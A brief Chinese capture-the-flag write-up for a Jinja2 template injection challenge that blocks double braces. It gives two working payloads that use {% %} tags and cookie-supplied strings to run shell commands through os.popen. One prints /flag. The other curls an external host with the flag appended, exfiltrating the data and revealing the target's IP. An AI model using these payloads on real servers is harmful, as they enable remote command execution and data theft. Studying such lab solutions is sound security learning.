这题只是比上一题增加了一个过滤双大括号,“{%”还是可以的,所以直接用print()复用上一题的payload把flag带出就行了
第一种做法,print带回flag
payload
?name={% print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()) %}
cookies
a=__globals__;b=os;c=cat /flag
第二种做法,使用怪方法带回flag
比如这种(有服务器的狂喜)
payload
?name={% if (lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}1{% endif %}
cookies
a=__globals__;b=os;c=curl http://bluexss.goblog.top/index.php?flag=`cat /flag`

这不也把flag带回来了嘛,而且还获得了靶机的ip,一举两得